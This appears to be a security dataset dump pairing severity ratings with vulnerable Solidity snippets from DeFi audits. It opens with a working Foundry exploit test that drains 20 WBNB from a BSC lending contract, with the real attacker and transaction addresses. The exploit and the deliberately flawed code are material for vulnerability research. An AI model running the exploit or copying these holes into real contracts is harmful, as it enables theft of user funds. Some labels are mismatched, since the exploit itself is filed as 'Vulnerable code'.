Farseen0/scar-pairs huggingface dataset:
HIGH severity: TokenHolder exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 20 WBNB Attacker : https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088 Attack Contract : https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631 Vulnerable Contract : https://bscscan.com/address/0x8c7f34436

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 20 WBNB
// Attacker : https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088
// Attack Contract : https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631
// Vulnerable Contract : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117
// Attack Tx : https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : N/A
// Hacking God : N/A
pragma solidity ^0.8.0;

contract ExploitTemplate is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 63856735 - 1;
    BorrowerOperationsV6 borrowerOper = BorrowerOperationsV6(0x616B36265759517AF14300Ba1dD20762241a3828);
    address WBNB = address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        fundingToken = WBNB;
    }

    function testExploit() public balanceLog {
        uint256 loadId = 0;
        bytes memory sellingCode = abi.encodeWithSignature("privilegedLoan(address,uint256)", WBNB, 20 ether);
        address tokenHolder = address(this);
        address inchRouter = address(0x2EeD3DC9c5134C056825b12388Ee9Be04E522173);
        address integratorFeeAddress = address(this);
        address whitelistedDex = address(this);
        borrowerOper.sell(loadId, sellingCode, tokenHolder, inchRouter, integratorFeeAddress, whitelistedDex);
    }

    function loans(uint256 arg0) public returns(Loan memory) {
        Collateral memory c = Collateral(WBNB, 0, 0, false, 0, 0, 0);
        Loan memory l = Loan(0, 0, c, 0, 0, address(this), 0);
        return l;
    }

    function repayLoan(uint256 loadId, bool payInStablecoin) public {}

    function privilegedLoan(address flashLoanToken, uint256 amount) public {}
}

struct Loan {
    uint256 id;
    uint256 amount;
    Collateral collateral;
    uint256 collateralAmount;
    uint256 timestamp;
    address borrower;
    uint256 userPaid;
}


struct Collateral {
    address collateralAddress;
    uint256 maxLendPerToken;
    uint256 interestRate;
    bool active;
    uint256 minAmount;
    uint256 maxExposure;
    uint256 currentExposure;
}

interface BorrowerOperationsV6 {
    function sell(uint256 loanId, bytes calldata sellingCode, address tokenHolder, address inchRouter, address integratorFeeAddress, address whitelistedDex) external payable;
}

Vulnerability type: unknown
HIGH severity: Vulnerable function: ```\nif (safe.getThreshold() != _getCorrectThreshold()) {\n    revert SignersCannotChangeThreshold(). ```\nif (safe.getThreshold() != _getCorrectThreshold()) {\n    revert SignersCannotChangeThreshold();\n}\n\nfunction _getCorrectThreshold() internal view returns (uint256 _threshold) {\n    uint256 count = _countValidSigners(safe.getOwners());\n    uint256 min = minThreshold;\n    uint256 max = targ

Vulnerable code:
```\nif (safe.getThreshold() != _getCorrectThreshold()) {\n    revert SignersCannotChangeThreshold();\n}\n\nfunction _getCorrectThreshold() internal view returns (uint256 _threshold) {\n    uint256 count = _countValidSigners(safe.getOwners());\n    uint256 min = minThreshold;\n    uint256 max = targetThreshold;\n    if (count < min) _threshold = min;\n    else if (count > max) _threshold = max;\n    else _threshold = count;\n}\n```\n
HIGH severity: Vulnerable function: ```\nfunction _estimateWithdrawalLp(\n    uint256 reserve0,\n    uint256 reserve1,\n    uint256 _tot. ```\nfunction _estimateWithdrawalLp(\n    uint256 reserve0,\n    uint256 reserve1,\n    uint256 _totalSupply,\n    uint256 amount0,\n    uint256 amount1\n) private pure returns (uint256 shareAmount) {\n    shareAmount =\n        ((amount0 * _totalSupply) / reserve0 + (amount1 * _totalSupply) / reser

Vulnerable code:
```\nfunction _estimateWithdrawalLp(\n    uint256 reserve0,\n    uint256 reserve1,\n    uint256 _totalSupply,\n    uint256 amount0,\n    uint256 amount1\n) private pure returns (uint256 shareAmount) {\n    shareAmount =\n        ((amount0 * _totalSupply) / reserve0 + (amount1 * _totalSupply) / reserve1) /\n        2;\n}\n```\n
MEDIUM severity: Vulnerable function: ```\n    function JOJOFlashLoan(\n        address asset,\n        uint256 amount,\n        address t. ```\n    function JOJOFlashLoan(\n        address asset,\n        uint256 amount,\n        address to,\n        bytes calldata param\n    ) external {\n        (address approveTarget, address swapTarget, uint256 minReceive, bytes memory data) = abi\n            .decode(param, (address, address, uint

Vulnerable code:
```\n    function JOJOFlashLoan(\n        address asset,\n        uint256 amount,\n        address to,\n        bytes calldata param\n    ) external {\n        (address approveTarget, address swapTarget, uint256 minReceive, bytes memory data) = abi\n            .decode(param, (address, address, uint256, bytes));\n        IERC20(asset).approve(approveTarget, amount);\n        (bool success, ) = swapTarget.call(data);\n        if (success == false) {\n            assembly {\n                let ptr := mload(0x40)\n                let size := returndatasize()\n                returndatacopy(ptr, 0, size)\n                revert(ptr, size)\n            }\n        }\n        uint256 USDCAmount = IERC20(USDC).balanceOf(address(this));\n        require(USDCAmount >= minReceive, "receive amount is too small");\n// rest of code\n    function repayJUSD(\n        address asset,\n        uint256 amount,\n        address to,\n        bytes memory param\n    ) external {\n        IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);\n        uint256 minReceive;\n        if (asset != USDC) {\n            (address approveTarget, address swapTarget, uint256 minAmount, bytes memory data) = abi\n                .decode(param, (address, address, uint256, bytes));\n            IERC20(asset).approve(approveTarget, amount);\n            (bool success, ) = swapTarget.call(data);\n            if (success == false) {\n                assembly {\n                    let ptr := mload(0x40)\n                    let size := returndatasize()\n                    returndatacopy(ptr, 0, size)\n                    revert(ptr, size)\n                }\n            }\n            minReceive = minAmount;\n        }\n\n        uint256 USDCAmount = IERC20(USDC).balanceOf(address(this));\n        require(USDCAmount >= minReceive, "receive amount is too small");\n```\n
HIGH severity: Vulnerable function: ```\nuint256 oldShare = pos.debtShareOf[debtToken];\n(uint256 amountPaid, uint25. ```\nuint256 oldShare = pos.debtShareOf[debtToken];\n(uint256 amountPaid, uint256 share) = repayInternal(\n    positionId,\n    debtToken,\n    amountCall\n);\n\nuint256 liqSize = (pos.collateralSize * share) / oldShare;\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\nuint256 uVaul

Vulnerable code:
```\nuint256 oldShare = pos.debtShareOf[debtToken];\n(uint256 amountPaid, uint256 share) = repayInternal(\n    positionId,\n    debtToken,\n    amountCall\n);\n\nuint256 liqSize = (pos.collateralSize * share) / oldShare;\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\nuint256 uVaultShare = (pos.underlyingVaultShare * share) / oldShare;\n\npos.collateralSize -= liqSize;\npos.underlyingAmount -= uTokenSize;\npos.underlyingVaultShare -= uVaultShare;\n\n// // rest of codetransfer liqSize wrapped LP Tokens and uVaultShare underlying vault shares to the liquidator\n}\n```\n
MEDIUM severity: Vulnerable function: ```\n return \n        (votes * cpMultipliers.votes / PERCENT) + \n        (prop. ```\n return \n        (votes * cpMultipliers.votes / PERCENT) + \n        (proposalsCreated * cpMultipliers.proposalsCreated / PERCENT) + \n        (proposalsPassed * cpMultipliers.proposalsPassed / PERCENT);\n```\n

Vulnerable code:
```\n return \n        (votes * cpMultipliers.votes / PERCENT) + \n        (proposalsCreated * cpMultipliers.proposalsCreated / PERCENT) + \n        (proposalsPassed * cpMultipliers.proposalsPassed / PERCENT);\n```\n
MEDIUM severity: Vulnerable function: ```\nfunction flashRebalance(\n    DestinationInfo storage destInfoOut,\n    DestinationInfo storage. ```\nfunction flashRebalance(\n    DestinationInfo storage destInfoOut,\n    DestinationInfo storage destInfoIn,\n    IERC3156FlashBorrower receiver,\n    IStrategy.RebalanceParams memory params,\n    FlashRebalanceParams memory flashParams,\n    bytes calldata data\n) external returns (uint256 idle

Vulnerable code:
```\nfunction flashRebalance(\n    DestinationInfo storage destInfoOut,\n    DestinationInfo storage destInfoIn,\n    IERC3156FlashBorrower receiver,\n    IStrategy.RebalanceParams memory params,\n    FlashRebalanceParams memory flashParams,\n    bytes calldata data\n) external returns (uint256 idle, uint256 debt) {\n    // rest of code\n\n    // Handle increase (shares coming "In", getting underlying from the swapper and trading for new shares)\n    if (params.amountIn > 0) {\n        IDestinationVault dvIn = IDestinationVault(params.destinationIn);\n\n        // get "before" counts\n        uint256 tokenInBalanceBefore = IERC20(params.tokenIn).balanceOf(address(this));\n\n        // Give control back to the solver so they can make use of the "out" assets\n        // and get our "in" asset\n        bytes32 flashResult = receiver.onFlashLoan(msg.sender, params.tokenIn, params.amountIn, 0, data);\n\n        // We assume the solver will send us the assets\n        uint256 tokenInBalanceAfter = IERC20(params.tokenIn).balanceOf(address(this));\n\n        // Make sure the call was successful and verify we have at least the assets we think\n        // we were getting\n        if (\n            flashResult != keccak256("ERC3156FlashBorrower.onFlashLoan")\n                || tokenInBalanceAfter < tokenInBalanceBefore + params.amountIn\n        ) {\n            revert Errors.FlashLoanFailed(params.tokenIn, params.amountIn);\n        }\n\n        if (params.tokenIn != address(flashParams.baseAsset)) {\n            // @audit should be `tokenInBalanceAfter - tokenInBalanceBefore` given to `_handleRebalanceIn`\n            (uint256 debtDecreaseIn, uint256 debtIncreaseIn) =\n                _handleRebalanceIn(destInfoIn, dvIn, params.tokenIn, tokenInBalanceAfter);\n            idleDebtChange.debtDecrease += debtDecreaseIn;\n            idleDebtChange.debtIncrease += debtIncreaseIn;\n        } else {\n            idleDebtChange.idleIncrease += tokenInBalanceAfter - tokenInBalanceBefore;\n        }\n    }\n    // rest of code\n}\n```\n
MEDIUM severity: Vulnerable function: ```\n        if (balance >= borrows) {\n            collateral += min(balance - . ```\n        if (balance >= borrows) {\n            collateral += min(balance - borrows, info.maxCollateralAmount).mul(info.collateralWeight).mul(price);\n        } else {\n            debt += (borrows - balance).mul(info.debtWeight).mul(price);\n        }\n```\n

Vulnerable code:
```\n        if (balance >= borrows) {\n            collateral += min(balance - borrows, info.maxCollateralAmount).mul(info.collateralWeight).mul(price);\n        } else {\n            debt += (borrows - balance).mul(info.debtWeight).mul(price);\n        }\n```\n
HIGH severity: Vulnerable function: ```\nfunction incentivize(\n address sender,\n address receiver, \n address operator,\n uint amountI. ```\nfunction incentivize(\n address sender,\n address receiver, \n address operator,\n uint amountIn\n) external override onlyFei {\n    updateOracle();\n\n if (isPair(sender)) {\n  incentivizeBuy(receiver, amountIn);\n }\n\n if (isPair(receiver)) {\n        require(isSellAllowlisted(sender) || isS

Vulnerable code:
```\nfunction incentivize(\n address sender,\n address receiver, \n address operator,\n uint amountIn\n) external override onlyFei {\n    updateOracle();\n\n if (isPair(sender)) {\n  incentivizeBuy(receiver, amountIn);\n }\n\n if (isPair(receiver)) {\n        require(isSellAllowlisted(sender) || isSellAllowlisted(operator), "UniswapIncentive: Blocked Fei sender or operator");\n  incentivizeSell(sender, amountIn);\n }\n}\n```\n
MEDIUM severity: Vulnerable function: ```\n    function _extractTokens(address _from, address _token, uint256 _amount) internal returns (u. ```\n    function _extractTokens(address _from, address _token, uint256 _amount) internal returns (uint256) {\n        uint256 balanceBefore = IERC20(_token).balanceOf(address(this));\n        // IERC20(_token).safeTransferFrom(_from, address(this), _amount);\n        pearlmit.transferFromERC20(_fro

Vulnerable code:
```\n    function _extractTokens(address _from, address _token, uint256 _amount) internal returns (uint256) {\n        uint256 balanceBefore = IERC20(_token).balanceOf(address(this));\n        // IERC20(_token).safeTransferFrom(_from, address(this), _amount);\n        pearlmit.transferFromERC20(_from, address(this), address(_token), _amount);\n        uint256 balanceAfter = IERC20(_token).balanceOf(address(this));\n        if (balanceAfter <= balanceBefore) revert Magnetar_ExtractTokenFail();\n        return balanceAfter - balanceBefore;\n    }\n```\n
HIGH severity: Vulnerable function: ```\nfunction safeApprove(address \_token, address \_spender, uint256 \_value) public onlyOwner {\n\. ```\nfunction safeApprove(address \_token, address \_spender, uint256 \_value) public onlyOwner {\n\n    (bool success, bytes memory returndata) = \_token.call(abi.encodeWithSignature("approve(address,uint256)", \_spender, \_value));\n\n    require(success, "SafeERC20: low-level call failed");\n\n}\

Vulnerable code:
```\nfunction safeApprove(address \_token, address \_spender, uint256 \_value) public onlyOwner {\n\n    (bool success, bytes memory returndata) = \_token.call(abi.encodeWithSignature("approve(address,uint256)", \_spender, \_value));\n\n    require(success, "SafeERC20: low-level call failed");\n\n}\n```\n
HIGH severity: Vulnerable function: ```\n{\n // 2. Swap rewards tokens to debt token\n uint256 rewards = _doCutRewar. ```\n{\n // 2. Swap rewards tokens to debt token\n uint256 rewards = _doCutRewardsFee(CRV);\n _ensureApprove(CRV, address(swapRouter), rewards);\n swapRouter.swapExactTokensForTokens(\n  rewards,\n  0,\n  swapPath,\n  address(this),\n  type(uint256).max\n );\n}\n```\n

Vulnerable code:
```\n{\n // 2. Swap rewards tokens to debt token\n uint256 rewards = _doCutRewardsFee(CRV);\n _ensureApprove(CRV, address(swapRouter), rewards);\n swapRouter.swapExactTokensForTokens(\n  rewards,\n  0,\n  swapPath,\n  address(this),\n  type(uint256).max\n );\n}\n```\n
MEDIUM severity: Vulnerable function: ```\n  /// @notice Roll into the next Series if there isn't an active series and the cooldown period. ```\n  /// @notice Roll into the next Series if there isn't an active series and the cooldown period has elapsed.\n  function roll() external {\n      if (maturity != MATURITY_NOT_SET) revert RollWindowNotOpen();\n\n      if (lastSettle == 0) {\n          // If this is the first roll, lock some shar

Vulnerable code:
```\n  /// @notice Roll into the next Series if there isn't an active series and the cooldown period has elapsed.\n  function roll() external {\n      if (maturity != MATURITY_NOT_SET) revert RollWindowNotOpen();\n\n      if (lastSettle == 0) {\n          // If this is the first roll, lock some shares in by minting them for the zero address.\n          // This prevents the contract from reaching an empty state during future active periods.\n          deposit(firstDeposit, address(0));\n      } else if (lastSettle + cooldown > block.timestamp) {\n          revert RollWindowNotOpen();\n      }\n\n      lastRoller = msg.sender;\n      adapter.openSponsorWindow();\n  }\n```\n
MEDIUM severity: Vulnerable function: ```\n    function _depositAsset(uint256 amount) private {\n        netAssetDeposits += amount;\n\n\n. ```\n    function _depositAsset(uint256 amount) private {\n        netAssetDeposits += amount;\n\n\n        IERC20(assetToken).approve(address(vault), amount);\n        vault.deposit(assetToken, amount);\n    }\n```\n

Vulnerable code:
```\n    function _depositAsset(uint256 amount) private {\n        netAssetDeposits += amount;\n\n\n        IERC20(assetToken).approve(address(vault), amount);\n        vault.deposit(assetToken, amount);\n    }\n```\n
MEDIUM severity: Vulnerable function: ```\nfunction \_beforeTokenTransfer(address from, address to, uint256 amount) internal override {\n . ```\nfunction \_beforeTokenTransfer(address from, address to, uint256 amount) internal override {\n    uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0;\n    uint256 balanceTo = (from != address(0)) ? balanceOf(to) : 0;\n    uint256 newTotalSupply = totalSupply()\n        .add(from =

Vulnerable code:
```\nfunction \_beforeTokenTransfer(address from, address to, uint256 amount) internal override {\n    uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0;\n    uint256 balanceTo = (from != address(0)) ? balanceOf(to) : 0;\n    uint256 newTotalSupply = totalSupply()\n        .add(from == address(0) ? amount : 0)\n        .sub(to == address(0) ? amount : 0);\n\n    ParamsHelper memory params = ParamsHelper({\n        from: from,\n        to: to,\n        amount: amount,\n        balanceFrom: balanceFrom,\n        balanceTo: balanceTo,\n        newTotalSupply: newTotalSupply\n    });\n\n    \_updateOnTransfer(params, mooniswapFactoryGovernance.defaultFee, \_emitFeeVoteUpdate, \_fee);\n    \_updateOnTransfer(params, mooniswapFactoryGovernance.defaultSlippageFee, \_emitSlippageFeeVoteUpdate, \_slippageFee);\n    \_updateOnTransfer(params, mooniswapFactoryGovernance.defaultDecayPeriod, \_emitDecayPeriodVoteUpdate, \_decayPeriod);\n}\n```\n
MEDIUM severity: Vulnerable function: ```\nFile: D3Trading.sol\n        roState.toTokenMMInfo.cumulativeBid =\n       . ```\nFile: D3Trading.sol\n        roState.toTokenMMInfo.cumulativeBid =\n            allFlag  (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk;\n```\n

Vulnerable code:
```\nFile: D3Trading.sol\n        roState.toTokenMMInfo.cumulativeBid =\n            allFlag  (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk;\n```\n
MEDIUM severity: Vulnerable function: ```\n  function _payment(\n    uint256 collateralId,\n    uint8 position,\n    uint256 paymentAmount. ```\n  function _payment(\n    uint256 collateralId,\n    uint8 position,\n    uint256 paymentAmount,\n    address payer\n  ) internal returns (uint256) {\n    if (paymentAmount == uint256(0)) {\n      return uint256(0);\n    }\n\n\n    uint256 lienId = liens[collateralId][position];\n    Lien stora

Vulnerable code:
```\n  function _payment(\n    uint256 collateralId,\n    uint8 position,\n    uint256 paymentAmount,\n    address payer\n  ) internal returns (uint256) {\n    if (paymentAmount == uint256(0)) {\n      return uint256(0);\n    }\n\n\n    uint256 lienId = liens[collateralId][position];\n    Lien storage lien = lienData[lienId];\n    uint256 end = (lien.start + lien.duration);\n    require(\n      block.timestamp < end || address(msg.sender) == address(AUCTION_HOUSE),\n      "cannot pay off an expired lien"\n    );\n\n\n    address lienOwner = ownerOf(lienId);\n    bool isPublicVault = IPublicVault(lienOwner).supportsInterface(\n      type(IPublicVault).interfaceId\n    );\n\n\n    lien.amount = _getOwed(lien);\n\n\n    address payee = getPayee(lienId);\n    if (isPublicVault) {\n      IPublicVault(lienOwner).beforePayment(lienId, paymentAmount);\n    }\n    if (lien.amount > paymentAmount) {\n      lien.amount -= paymentAmount;\n      lien.last = block.timestamp.safeCastTo32();\n      // slope does not need to be updated if paying off the rest, since we neutralize slope in beforePayment()\n      if (isPublicVault) {\n        IPublicVault(lienOwner).afterPayment(lienId);\n      }\n    } else {\n      if (isPublicVault && !AUCTION_HOUSE.auctionExists(collateralId)) {\n        // since the openLiens count is only positive when there are liens that haven't been paid off\n        // that should be liquidated, this lien should not be counted anymore\n        IPublicVault(lienOwner).decreaseEpochLienCount(\n          IPublicVault(lienOwner).getLienEpoch(end)\n        );\n      }\n      //delete liens\n      _deleteLienPosition(collateralId, position);\n      delete lienData[lienId]; //full delete\n\n\n      _burn(lienId);\n    }\n\n\n    TRANSFER_PROXY.tokenTransferFrom(WETH, payer, payee, paymentAmount);\n\n\n    emit Payment(lienId, paymentAmount);\n    return paymentAmount;\n  }\n```\n
HIGH severity: Vulnerable function: ```\nfunction beneficiaryWithdrawable(\n address recipient,\n address sender,\n uint256 agentID,\n u. ```\nfunction beneficiaryWithdrawable(\n address recipient,\n address sender,\n uint256 agentID,\n uint256 proposedAmount\n) external returns (\n uint256 amount\n) {\n AgentBeneficiary memory beneficiary = \_agentBeneficiaries[agentID];\n address benneficiaryAddress = beneficiary.active.beneficiary;

Vulnerable code:
```\nfunction beneficiaryWithdrawable(\n address recipient,\n address sender,\n uint256 agentID,\n uint256 proposedAmount\n) external returns (\n uint256 amount\n) {\n AgentBeneficiary memory beneficiary = \_agentBeneficiaries[agentID];\n address benneficiaryAddress = beneficiary.active.beneficiary;\n // If the sender is not the owner of the Agent or the beneficiary, revert\n if(\n !(benneficiaryAddress == sender || (IAuth(msg.sender).owner() == sender && recipient == benneficiaryAddress) )) {\n revert Unauthorized();\n }\n (\n beneficiary,\n amount\n ) = beneficiary.withdraw(proposedAmount);\n // update the beneficiary in storage\n \_agentBeneficiaries[agentID] = beneficiary;\n}\n```\n
HIGH severity: Vulnerable function: ```\n    function priceFromAddress(address tokenAddress) public view returns(uint256) {\n        if(. ```\n    function priceFromAddress(address tokenAddress) public view returns(uint256) {\n        if(Utils.\_isETH(address(globalConfig), tokenAddress)) {\n            return 1e18;\n        }\n        return uint256(globalConfig.chainLink().getLatestAnswer(tokenAddress));\n    }\n```\n

Vulnerable code:
```\n    function priceFromAddress(address tokenAddress) public view returns(uint256) {\n        if(Utils.\_isETH(address(globalConfig), tokenAddress)) {\n            return 1e18;\n        }\n        return uint256(globalConfig.chainLink().getLatestAnswer(tokenAddress));\n    }\n```\n
MEDIUM severity: Vulnerable function: ```\nFile: TellerV2.sol\n 854     function calculateNextDueDate(uint256 _bidId)\n 855         public. ```\nFile: TellerV2.sol\n 854     function calculateNextDueDate(uint256 _bidId)\n 855         public\n 856         view\n 857         returns (uint32 dueDate_)\n 858     {\n 859         Bid storage bid = bids[_bidId];\n 860         if (bids[_bidId].state != BidState.ACCEPTED) return dueDate_;\n 861\

Vulnerable code:
```\nFile: TellerV2.sol\n 854     function calculateNextDueDate(uint256 _bidId)\n 855         public\n 856         view\n 857         returns (uint32 dueDate_)\n 858     {\n 859         Bid storage bid = bids[_bidId];\n 860         if (bids[_bidId].state != BidState.ACCEPTED) return dueDate_;\n 861\n 862         uint32 lastRepaidTimestamp = lastRepaidTimestamp(_bidId);\n 863\n 864         // Calculate due date if payment cycle is set to monthly\n 865         if (bidPaymentCycleType[_bidId] == PaymentCycleType.Monthly) {\n 866             // Calculate the cycle number the last repayment was made\n 867             uint256 lastPaymentCycle = BPBDTL.diffMonths(\n 868                 bid.loanDetails.acceptedTimestamp,\n 869               \n```\n